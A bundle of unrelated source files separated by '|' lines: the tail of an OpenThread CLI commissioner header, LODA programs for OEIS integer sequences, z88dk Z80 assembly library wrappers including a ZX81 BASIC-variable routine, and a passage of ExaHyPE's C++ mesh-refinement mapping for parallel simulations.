static void HandleJoinerEvent(otCommissionerJoinerEvent aEvent,
const otJoinerInfo * aJoinerInfo,
const otExtAddress * aJoinerId,
void * aContext);
void HandleJoinerEvent(otCommissionerJoinerEvent aEvent,
const otJoinerInfo * aJoinerInfo,
const otExtAddress * aJoinerId);
static void HandleEnergyReport(uint32_t aChannelMask,
const uint8_t *aEnergyList,
uint8_t aEnergyListLength,
void * aContext);
void HandleEnergyReport(uint32_t aChannelMask, const uint8_t *aEnergyList, uint8_t aEnergyListLength);
static void HandlePanIdConflict(uint16_t aPanId, uint32_t aChannelMask, void *aContext);
void HandlePanIdConflict(uint16_t aPanId, uint32_t aChannelMask);
static const char *StateToString(otCommissionerState aState);
static constexpr Command sCommands[] = {
{"announce", &Commissioner::ProcessAnnounce}, {"energy", &Commissioner::ProcessEnergy},
{"help", &Commissioner::ProcessHelp}, {"joiner", &Commissioner::ProcessJoiner},
{"mgmtget", &Commissioner::ProcessMgmtGet}, {"mgmtset", &Commissioner::ProcessMgmtSet},
{"panid", &Commissioner::ProcessPanId}, {"provisioningurl", &Commissioner::ProcessProvisioningUrl},
{"sessionid", &Commissioner::ProcessSessionId}, {"start", &Commissioner::ProcessStart},
{"state", &Commissioner::ProcessState}, {"stop", &Commissioner::ProcessStop},
};
static_assert(Utils::LookupTable::IsSorted(sCommands), "Command Table is not sorted");
Interpreter &mInterpreter;
};
} // namespace Cli
} // namespace ot
#endif // OPENTHREAD_CONFIG_COMMISSIONER_ENABLE && OPENTHREAD_FTD
#endif // CLI_COMMISSIONER_HPP_
|
; A028913: First differences of A007952.
; 1,2,2,4,2,6,4,8,4,8,6,10,2,18,4,20,6,10,14,18,4,20,18,18,4,26,18,16,8,40,8,30,12,30,16,24,12,44,12,30,30,42,10,26,24,46,14,48,22,38,30,48,12,60,12,52,14,54,52,26,12,66,54,60,10,26,60,60,10,74,30,52,56,64,14,34,50,108,18,60,42,82,50,22,26,94,60,86,22,60,56,42,58,104,18,114,18,30,132,48
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,104738 ; Positions of records in A104706.
mul $0,2
sub $0,1
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
|
; ----- void xorplot(int x, int y)
IF !__CPU_INTEL__ && !__CPU_GBZ80__
SECTION code_graphics
PUBLIC xorplot
PUBLIC _xorplot
EXTERN asm_xorplot
.xorplot
._xorplot
pop af
pop de ; y
pop hl ; x
push hl
push de
push af
jp asm_xorplot
ENDIF
|
; int fileno(FILE *stream)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fileno
EXTERN asm_fileno
_fileno:
pop af
pop ix
push hl
push af
jp asm_fileno
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fileno
EXTERN _fileno_unlocked
defc _fileno = _fileno_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
; A144619: a(n) = 19n + 8.
; 8,27,46,65,84,103,122,141,160,179,198,217,236,255,274,293,312,331,350,369,388,407,426,445,464,483,502,521,540,559,578,597,616,635,654,673,692,711,730,749,768,787,806,825,844,863,882,901,920,939,958,977,996,1015,1034,1053,1072,1091,1110,1129,1148,1167,1186,1205,1224,1243,1262,1281,1300,1319,1338,1357,1376,1395,1414,1433,1452,1471,1490,1509,1528,1547,1566,1585,1604,1623,1642,1661,1680,1699,1718,1737,1756,1775,1794,1813,1832,1851,1870,1889
mul $0,19
add $0,8
|
; A022135: Fibonacci sequence beginning 4, 19.
; 4,19,23,42,65,107,172,279,451,730,1181,1911,3092,5003,8095,13098,21193,34291,55484,89775,145259,235034,380293,615327,995620,1610947,2606567,4217514,6824081,11041595,17865676,28907271,46772947,75680218,122453165,198133383
mov $1,4
mov $2,14
lpb $0,1
sub $0,1
mov $3,$1
mov $1,$2
add $1,5
add $2,$3
lpe
|
;
; ZX 81 specific routines
; by Stefano Bodrato, Oct 2007
;
; Copy a string to a BASIC variable
;
; int __CALLEE__ zx_setstr_callee(char variable, char *value);
;
;
; $Id: zx_setstr_callee.asm,v 1.5 2016-06-26 20:32:09 dom Exp $
;
SECTION code_clib
PUBLIC zx_setstr_callee
PUBLIC _zx_setstr_callee
PUBLIC asm_zx_setstr
EXTERN asctozx81
zx_setstr_callee:
_zx_setstr_callee:
pop bc
pop hl
pop de
push bc
; enter : hl = char *value
; e = char variable
.asm_zx_setstr
ld a,e
and 31
add 69
ld (morevar+1),a
ld (pointer+1),hl
ld hl,($4010) ; VARS
loop:
ld a,(hl)
cp 128
jr nz,morevar
jr store ; variable not found
morevar:
cp 0
jr nz,nextvar
IF FORlambda
call $1A13 ; get next variable start
call $0177 ; reclaim space (delete)
ELSE
call $09F2 ; get next variable start
call $0A60 ; reclaim space (delete)
ENDIF
store:
ld bc,0
pointer:
ld de,0 ; point to the string
push de
lenloop:
inc bc ; string length counter
inc de
ld a,(de)
and a
jr nz,lenloop
push hl
push bc
inc bc
inc bc
inc bc
IF FORlambda
call $1CB5
ELSE
call $099E ; MAKE-ROOM
ENDIF
pop bc
pop hl
ld a,(morevar+1)
ld (hl),a
inc hl
ld (hl),c
inc hl
ld (hl),b
inc hl
pop de
ex de,hl
;ldir
;-----------------------------
.outloop
call asctozx81
ld (de),a
inc hl
inc de
dec bc
ld a,b
or c
jr nz,outloop
;------------------------------
ret
nextvar:
IF FORlambda
call $1A13 ; get next variable start
ELSE
call $09F2 ;get next variable start
ENDIF
ex de,hl
jr loop
|
/**
* This file is part of the ExaHyPE project.
* Copyright (c) 2016 http://exahype.eu
* All rights reserved.
*
* The project has received funding from the European Union's Horizon
* 2020 research and innovation programme under grant agreement
* No 671698. For copyrights and licensing, please consult the webpage.
*
* Released under the BSD 3 Open Source License.
* For the full license text, see LICENSE.txt
**/
#include "exahype/mappings/MeshRefinement.h"
#include "peano/utils/Globals.h"
#include "peano/utils/Loop.h"
#include "peano/datatraversal/autotuning/Oracle.h"
#include "peano/grid/aspects/VertexStateAnalysis.h"
#include "tarch/la/VectorScalarOperations.h"
#include "tarch/multicore/Lock.h"
#include "multiscalelinkedcell/HangingVertexBookkeeper.h"
#include "exahype/solvers/LimitingADERDGSolver.h"
#include "exahype/mappings/LimiterStatusSpreading.h"
#ifdef Parallel
bool exahype::mappings::MeshRefinement::IsFirstIteration = true;
#endif
bool exahype::mappings::MeshRefinement::IsInitialMeshRefinement = false;
tarch::logging::Log exahype::mappings::MeshRefinement::_log("exahype::mappings::MeshRefinement");
tarch::multicore::BooleanSemaphore exahype::mappings::MeshRefinement::_semaphore;
/**
* @todo Please tailor the parameters to your mapping's properties.
*/
peano::CommunicationSpecification
exahype::mappings::MeshRefinement::communicationSpecification() const {
return peano::CommunicationSpecification(
peano::CommunicationSpecification::ExchangeMasterWorkerData::
SendDataAndStateBeforeFirstTouchVertexFirstTime,
peano::CommunicationSpecification::ExchangeWorkerMasterData::
SendDataAndStateAfterLastTouchVertexLastTime,
true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::touchVertexLastTimeSpecification(int level) const {
return peano::MappingSpecification(
#ifdef Parallel
peano::MappingSpecification::WholeTree,
#else
peano::MappingSpecification::Nop,
#endif
peano::MappingSpecification::RunConcurrentlyOnFineGrid,true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::touchVertexFirstTimeSpecification(int level) const {
return peano::MappingSpecification(
peano::MappingSpecification::WholeTree,
peano::MappingSpecification::AvoidFineGridRaces,true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::enterCellSpecification(int level) const {
return peano::MappingSpecification(
peano::MappingSpecification::WholeTree,
peano::MappingSpecification::RunConcurrentlyOnFineGrid,true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::leaveCellSpecification(int level) const {
return peano::MappingSpecification(
peano::MappingSpecification::WholeTree,
peano::MappingSpecification::Serial,true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::ascendSpecification(int level) const {
return peano::MappingSpecification(
peano::MappingSpecification::Nop,
peano::MappingSpecification::AvoidCoarseGridRaces,true);
}
peano::MappingSpecification
exahype::mappings::MeshRefinement::descendSpecification(int level) const {
return peano::MappingSpecification(
peano::MappingSpecification::Nop,
peano::MappingSpecification::AvoidCoarseGridRaces,true);
}
#if defined(SharedMemoryParallelisation)
exahype::mappings::MeshRefinement::MeshRefinement(const MeshRefinement& masterThread):
_localState(masterThread._localState) {
}
#endif
void exahype::mappings::MeshRefinement::beginIteration(
exahype::State& solverState
) {
_localState = solverState;
exahype::solvers::ADERDGSolver::Heap::getInstance().setName("ADERDGCellDescriptionHeap");
exahype::solvers::FiniteVolumesSolver::Heap::getInstance().setName("FiniteVolumesCellDescriptionHeap");
DataHeap::getInstance().setName("DataHeap");
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
if (solver->getMeshUpdateRequest()) {
solver->zeroTimeStepSizes();
}
//assertion2(!solver->getNextMeshUpdateRequest(),solver->toString(),tarch::parallel::Node::getInstance().getRank());
}
#ifdef Parallel
exahype::solvers::ADERDGSolver::Heap::getInstance().finishedToSendSynchronousData();
exahype::solvers::FiniteVolumesSolver::Heap::getInstance().finishedToSendSynchronousData();
DataHeap::getInstance().finishedToSendSynchronousData();
MetadataHeap::getInstance().setName("MetadataHeap");
MetadataHeap::getInstance().finishedToSendSynchronousData();
if (! MetadataHeap::getInstance().validateThatIncomingJoinBuffersAreEmpty() ) {
exit(-1);
}
exahype::solvers::ADERDGSolver::Heap::getInstance().startToSendSynchronousData();
exahype::solvers::FiniteVolumesSolver::Heap::getInstance().startToSendSynchronousData();
DataHeap::getInstance().startToSendSynchronousData();
MetadataHeap::getInstance().startToSendSynchronousData();
#endif
}
void exahype::mappings::MeshRefinement::endIteration(exahype::State& solverState) {
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
if (solver->getMeshUpdateRequest()) {
solver->setNextAttainedStableState();
}
}
#ifdef Parallel
exahype::mappings::MeshRefinement::IsFirstIteration = false;
#endif
}
void exahype::mappings::MeshRefinement::refineVertexIfNecessary(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
int fineGridLevel,
bool isCalledByCreationalEvent
) const {
bool refine = false;
for (const auto& p : exahype::solvers::RegisteredSolvers) {
refine |= tarch::la::allGreater(fineGridH,p->getMaximumMeshSize());
}
if (
refine
&&
fineGridVertex.getRefinementControl()==Vertex::Records::Unrefined
) {
switch ( _localState.mayRefine(isCalledByCreationalEvent,fineGridLevel) ) {
case State::RefinementAnswer::DontRefineYet:
break;
case State::RefinementAnswer::Refine:
fineGridVertex.refine();
break;
case State::RefinementAnswer::EnforceRefinement:
fineGridVertex.enforceRefine();
break;
}
}
}
void exahype::mappings::MeshRefinement::touchVertexLastTime(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
refineVertexIfNecessary(fineGridVertex,fineGridH,coarseGridVerticesEnumerator.getLevel()+1,false);
}
void exahype::mappings::MeshRefinement::createBoundaryVertex(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
logTraceInWith6Arguments("createBoundaryVertex(...)", fineGridVertex,
fineGridX, fineGridH,
coarseGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfVertex);
refineVertexIfNecessary(fineGridVertex,fineGridH,coarseGridVerticesEnumerator.getLevel()+1,true);
logTraceOutWith1Argument("createBoundaryVertex(...)", fineGridVertex);
}
void exahype::mappings::MeshRefinement::createInnerVertex(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
logTraceInWith6Arguments("createInnerVertex(...)", fineGridVertex, fineGridX,
fineGridH, coarseGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfVertex);
refineVertexIfNecessary(fineGridVertex,fineGridH,coarseGridVerticesEnumerator.getLevel()+1,true);
logTraceOutWith1Argument("createInnerVertex(...)", fineGridVertex);
}
void exahype::mappings::MeshRefinement::createCell(
exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
logTraceInWith4Arguments("createCell(...)", fineGridCell,
fineGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfCell);
fineGridCell.getCellData().setCellDescriptionsIndex(
multiscalelinkedcell::HangingVertexBookkeeper::InvalidAdjacencyIndex);
logTraceOutWith1Argument("createCell(...)", fineGridCell);
}
void exahype::mappings::MeshRefinement::createHangingVertex(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
// do nothing
}
void exahype::mappings::MeshRefinement::touchVertexFirstTime(
exahype::Vertex& fineGridVertex,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfVertex) {
logTraceInWith6Arguments("touchVertexFirstTime(...)", fineGridVertex,
fineGridX, fineGridH,
coarseGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfVertex);
fineGridVertex.mergeOnlyMetadata(_localState.getAlgorithmSection());
logTraceOutWith1Argument("touchVertexFirstTime(...)", fineGridVertex);
}
void exahype::mappings::MeshRefinement::enterCell(
exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
logTraceInWith4Arguments("enterCell(...)", fineGridCell,
fineGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfCell);
assertion(fineGridCell.isInside());
bool refineFineGridCell = false;
for (unsigned int solverNumber=0; solverNumber<exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
if (solver->getMeshUpdateRequest()) {
// TODO(Dominic): Minimise lock scope
// Lock must be placed here because of
// LimitingADERDGSolver's limiter patch allocation
tarch::multicore::Lock lock(_semaphore);
refineFineGridCell |=
solver->markForRefinement(
fineGridCell,
fineGridVertices,
fineGridVerticesEnumerator,
coarseGridCell,
coarseGridVertices,
coarseGridVerticesEnumerator,
fineGridPositionOfCell,
IsInitialMeshRefinement,
solverNumber);
refineFineGridCell |=
solver->updateStateInEnterCell(
fineGridCell,
fineGridVertices,
fineGridVerticesEnumerator,
coarseGridCell,
coarseGridVertices,
coarseGridVerticesEnumerator,
fineGridPositionOfCell,
IsInitialMeshRefinement,
solverNumber);
lock.free();
// TODO(Dominic): I planned the following:
// In the first iteration, make sure already existing cells have the most up-to-date
// solution values. Later, only impose initial conditions for
// newly created cells, compute a new limiter status if necessary
//
// However this turned out to be more complicated than anticipated
// because of the LimitingADERDGSolver introducing limiter patches
// in multiple iterations. We have to ensure those work
// with correct initial data as well.
if (fineGridCell.isInitialised()) {
const int element = solver->tryGetElement(fineGridCell.getCellDescriptionsIndex(),solverNumber);
if (element!=exahype::solvers::Solver::NotFound) {
solver->zeroTimeStepSizes(fineGridCell.getCellDescriptionsIndex(),element);
solver->synchroniseTimeStepping(fineGridCell.getCellDescriptionsIndex(),element);
solver->setInitialConditions(
fineGridCell.getCellDescriptionsIndex(),
element);
if (solver->getType()==exahype::solvers::Solver::Type::LimitingADERDG) {
static_cast<exahype::solvers::LimitingADERDGSolver*>(solver)->
updateLimiterStatusAndMinAndMaxAfterSetInitialConditions(
fineGridCell.getCellDescriptionsIndex(),element);
}
}
exahype::Cell::resetNeighbourMergeFlags(
fineGridCell.getCellDescriptionsIndex());
}
}
}
// Refine all adjacent vertices if necessary and possible.
// if (refineFineGridCell && _state.refineInitialGridInTouchVertexLastTime()) {
if (refineFineGridCell) {
dfor2(v)
if (fineGridVertices[ fineGridVerticesEnumerator(v) ].getRefinementControl()==
exahype::Vertex::Records::RefinementControl::Unrefined
&&
!fineGridVertices[ fineGridVerticesEnumerator(v) ].isHangingNode()
&& fineGridVertices[ fineGridVerticesEnumerator(v) ].isInside()
) {
fineGridVertices[ fineGridVerticesEnumerator(v) ].refine();
}
enddforx
}
logTraceOutWith1Argument("enterCell(...)", fineGridCell);
}
void exahype::mappings::MeshRefinement::leaveCell(
exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
logTraceInWith4Arguments("leaveCell(...)", fineGridCell,
fineGridVerticesEnumerator.toString(),
coarseGridCell, fineGridPositionOfCell);
for (unsigned int solverNumber=0; solverNumber<exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
// TODO(Dominic): Computationally heaviest operation is
// restriction of volume unknows up to a parent during
// erasing operations. This is mostly localised.
// Multicoreising of this routine is thus postponed.
if (solver->getMeshUpdateRequest()) {
solver->updateStateInLeaveCell(
fineGridCell,
fineGridVertices,
fineGridVerticesEnumerator,
coarseGridCell,
coarseGridVertices,
coarseGridVerticesEnumerator,
fineGridPositionOfCell,
solverNumber);
bool isStable = solver->attainedStableState(
fineGridCell,
fineGridVertices,
fineGridVerticesEnumerator,
solverNumber);
solver->updateNextAttainedStableState(isStable);
}
}
// We assume that the solvers have all removed
// their data from the heap arrays associated with this
// cell.
if (fineGridCell.isInitialised() &&
fineGridCell.isEmpty()) {
fineGridCell.shutdownMetaData();
}
// TODO(Dominic): Veto erasing of coarse grid vertices
// if (fineGridCell.isInitialised()) {
// dfor2(v)
// if (
// !coarseGridVertices[ coarseGridVerticesEnumerator(v) ].isHangingNode()
// ) {
// coarseGridVertices[ coarseGridVerticesEnumerator(v) ].vetoErasing();
// }
// enddforx
// }
// TODO(Dominic): Erasse coarse grid vertices if not vetoed
// dfor2(v)
// if (
// fineGridVertices[ fineGridVerticesEnumerator(v) ].canErase()
// &&
// fineGridVertices[ fineGridVerticesEnumerator(v) ].getRefinementControl()==
// exahype::Vertex::Records::RefinementControl::Refined
// &&
// !fineGridVertices[ fineGridVerticesEnumerator(v) ].isHangingNode()
// ) {
// fineGridVertices[ fineGridVerticesEnumerator(v) ].erase();
// }
// enddforx
if (
fineGridCell.isRefined()
&&
peano::grid::aspects::VertexStateAnalysis::doesOneVertexCarryRefinementFlag(
fineGridVertices, fineGridVerticesEnumerator, Vertex::Records::Unrefined
)
) {
bool isOneVertexABoundaryVertex = false;
dfor2(k)
isOneVertexABoundaryVertex |= fineGridVertices[ fineGridVerticesEnumerator(k) ].isBoundary();
enddforx
if (isOneVertexABoundaryVertex) {
dfor2(k)
if (fineGridVertices[ fineGridVerticesEnumerator(k) ].getRefinementControl()
==Vertex::Records::Unrefined) {
fineGridVertices[ fineGridVerticesEnumerator(k) ].refine();
}
enddforx
}
}
logTraceOutWith1Argument("leaveCell(...)", fineGridCell);
}
#ifdef Parallel
void exahype::mappings::MeshRefinement::mergeWithNeighbour(
exahype::Vertex& vertex, const exahype::Vertex& neighbour, int fromRank,
const tarch::la::Vector<DIMENSIONS, double>& fineGridX,
const tarch::la::Vector<DIMENSIONS, double>& fineGridH, int level) {
logTraceInWith6Arguments("mergeWithNeighbour(...)", vertex, neighbour,
fromRank, fineGridX, fineGridH, level);
if (exahype::mappings::MeshRefinement::IsFirstIteration) {
return;
}
vertex.mergeOnlyWithNeighbourMetadata(
fromRank,fineGridX,fineGridH,level,
_localState.getAlgorithmSection());
logTraceOut("mergeWithNeighbour(...)");
}
void exahype::mappings::MeshRefinement::prepareSendToNeighbour(
exahype::Vertex& vertex, int toRank,
const tarch::la::Vector<DIMENSIONS, double>& x,
const tarch::la::Vector<DIMENSIONS, double>& h, int level) {
logTraceInWith5Arguments("prepareSendToNeighbour(...)", vertex,
toRank, x, h, level);
vertex.sendOnlyMetadataToNeighbour(toRank,x,h,level);
logTraceOut("prepareSendToNeighbour(...)");
}
bool exahype::mappings::MeshRefinement::prepareSendToWorker(
exahype::Cell& fineGridCell, exahype::Vertex* const fineGridVertices,
const peano::grid::VertexEnumerator& fineGridVerticesEnumerator,
exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
exahype::Cell& coarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell,
int worker) {
if ( !_localState.isInvolvedInJoinOrFork() ) {
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
const int element =
solver->tryGetElement(fineGridCell.getCellDescriptionsIndex(),solverNumber);
if (element!=exahype::solvers::Solver::NotFound) {
solver->prepareMasterCellDescriptionAtMasterWorkerBoundary(
fineGridCell.getCellDescriptionsIndex(),element);
}
}
}
exahype::sendMasterWorkerCommunicationMetadata(
worker,
fineGridCell.getCellDescriptionsIndex(),
fineGridVerticesEnumerator.getCellCenter(),
fineGridVerticesEnumerator.getLevel());
return true;
}
// TODO(Dominic): Add to docu: see documentation in peano/pdt/stdtemplates/MappingHeader.template
// on function receiveDataFromMaster
void exahype::mappings::MeshRefinement::receiveDataFromMaster(
exahype::Cell& receivedCell, exahype::Vertex* receivedVertices,
const peano::grid::VertexEnumerator& receivedVerticesEnumerator,
exahype::Vertex* const receivedCoarseGridVertices,
const peano::grid::VertexEnumerator& receivedCoarseGridVerticesEnumerator,
exahype::Cell& receivedCoarseGridCell,
exahype::Vertex* const workersCoarseGridVertices,
const peano::grid::VertexEnumerator& workersCoarseGridVerticesEnumerator,
exahype::Cell& workersCoarseGridCell,
const tarch::la::Vector<DIMENSIONS, int>& fineGridPositionOfCell) {
receivedCell.setCellDescriptionsIndex(
multiscalelinkedcell::HangingVertexBookkeeper::InvalidAdjacencyIndex);
const int receivedMetadataIndex =
exahype::receiveMasterWorkerCommunicationMetadata(
tarch::parallel::NodePool::getInstance().getMasterRank(),
receivedVerticesEnumerator.getCellCenter(),
receivedVerticesEnumerator.getLevel());
// Abusing the cell descriptions index
receivedCell.setCellDescriptionsIndex(receivedMetadataIndex);
}
void exahype::mappings::MeshRefinement::mergeWithWorker(
exahype::Cell& localCell, const exahype::Cell& receivedMasterCell,
const tarch::la::Vector<DIMENSIONS, double>& cellCentre,
const tarch::la::Vector<DIMENSIONS, double>& cellSize, int level) {
if (localCell.isInitialised() &&
!_localState.isInvolvedInJoinOrFork() ) {
localCell.mergeWithMasterMetadata(
receivedMasterCell.getCellDescriptionsIndex(),
_localState.getAlgorithmSection());
}
MetadataHeap::getInstance().deleteData(receivedMasterCell.getCellDescriptionsIndex());
}
void exahype::mappings::MeshRefinement::prepareCopyToRemoteNode(
exahype::Cell& localCell, int toRank,
const tarch::la::Vector<DIMENSIONS, double>& cellCentre,
const tarch::la::Vector<DIMENSIONS, double>& cellSize, int level) {
if (localCell.isInside() && localCell.isInitialised()) {
exahype::solvers::ADERDGSolver::sendCellDescriptions(toRank,localCell.getCellDescriptionsIndex(),
peano::heap::MessageType::ForkOrJoinCommunication,cellCentre,level);
exahype::solvers::FiniteVolumesSolver::sendCellDescriptions(toRank,localCell.getCellDescriptionsIndex(),
peano::heap::MessageType::ForkOrJoinCommunication,cellCentre,level);
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
const int element = solver->tryGetElement(localCell.getCellDescriptionsIndex(),solverNumber);
if(element!=exahype::solvers::Solver::NotFound) {
solver->sendDataToWorkerOrMasterDueToForkOrJoin(
toRank,localCell.getCellDescriptionsIndex(),element,cellCentre,level);
} else {
solver->sendEmptyDataToWorkerOrMasterDueToForkOrJoin(toRank,cellCentre,level);
}
}
if (_localState.isJoiningWithMaster()) {
exahype::solvers::ADERDGSolver::eraseCellDescriptions(localCell.getCellDescriptionsIndex());
exahype::solvers::FiniteVolumesSolver::eraseCellDescriptions(localCell.getCellDescriptionsIndex());
localCell.shutdownMetaData();
}
} else if (localCell.isInside() && !localCell.isInitialised()){
exahype::solvers::ADERDGSolver::sendEmptyCellDescriptions(toRank,
peano::heap::MessageType::ForkOrJoinCommunication,cellCentre,level);
exahype::solvers::FiniteVolumesSolver::sendEmptyCellDescriptions(toRank,
peano::heap::MessageType::ForkOrJoinCommunication,cellCentre,level);
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
solver->sendEmptyDataToWorkerOrMasterDueToForkOrJoin(toRank,cellCentre,level);
}
}
}
// TODO(Dominic): How to deal with cell descriptions index that
// is copied from the remote rank but is a valid index on the local
// remote rank? Currently use geometryInfoDoesMatch!
void exahype::mappings::MeshRefinement::mergeWithRemoteDataDueToForkOrJoin(
exahype::Cell& localCell, const exahype::Cell& masterOrWorkerCell,
int fromRank, const tarch::la::Vector<DIMENSIONS, double>& cellCentre,
const tarch::la::Vector<DIMENSIONS, double>& cellSize, int level) {
if (localCell.isInside()) {
if (!localCell.isInitialised()) {
localCell.setupMetaData();
}
exahype::solvers::ADERDGSolver::mergeCellDescriptionsWithRemoteData(
fromRank,localCell,
peano::heap::MessageType::ForkOrJoinCommunication,
cellCentre,level);
exahype::solvers::FiniteVolumesSolver::mergeCellDescriptionsWithRemoteData(
fromRank,localCell,
peano::heap::MessageType::ForkOrJoinCommunication,
cellCentre,level);
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
const int element = solver->tryGetElement(localCell.getCellDescriptionsIndex(),solverNumber);
if (element!=exahype::solvers::Solver::NotFound) {
solver->mergeWithWorkerOrMasterDataDueToForkOrJoin(
fromRank,localCell.getCellDescriptionsIndex(),element,cellCentre,level);
} else {
solver->dropWorkerOrMasterDataDueToForkOrJoin(fromRank,cellCentre,level);
}
}
}
}
bool exahype::mappings::MeshRefinement::geometryInfoDoesMatch(
const int cellDescriptionsIndex,
const tarch::la::Vector<DIMENSIONS,double>& cellCentre,
const tarch::la::Vector<DIMENSIONS,double>& cellSize,
const int level) {
for (unsigned int solverNumber=0; solverNumber < exahype::solvers::RegisteredSolvers.size(); solverNumber++) {
auto* solver = exahype::solvers::RegisteredSolvers[solverNumber];
const int element = solver->tryGetElement(cellDescriptionsIndex,solverNumber);
if (element!=exahype::solvers::Solver::NotFound) {
switch (solver->getType()) {
case exahype::solvers::Solver::Type::ADERDG:
case exahype::solvers::Solver::Type::LimitingADERDG: {
auto& cellDescription = exahype::solvers::ADERDGSolver::getCellDescription(
cellDescriptionsIndex,element);
if (!tarch::la::equals(
cellCentre,cellDescription.getOffset()+0.5*cellDescription.getSize()) ||
cellDescription.getLevel()!=level) {
return false;
}
} break;
case exahype::solvers::Solver::Type::FiniteVolumes: {
auto& cellDescription = exahype::solvers::FiniteVolumesSolver::getCellDescription(
cellDescriptionsIndex,element);
if (!tarch::la::equals(
cellCentre,cellDescription.getOffset()+0.5*cellDescription.getSize()) ||
cellDescription.getLevel()!=level) {
return false;
}
} break;
}
}
}
return true;
}
void exahype::mappings::MeshRefinement::prepareSendToMaster(
exahype::Cell& localCell, exahype::Vertex* vertices,
const peano::grid::VertexEnumerator& verticesEnumerator,
const exahype::Vertex* const coarseGridVertices,
const peano::grid::VertexEnumerator& coarseGridVerticesEnumerator,
const exahype::Cell& coarseGridCell,
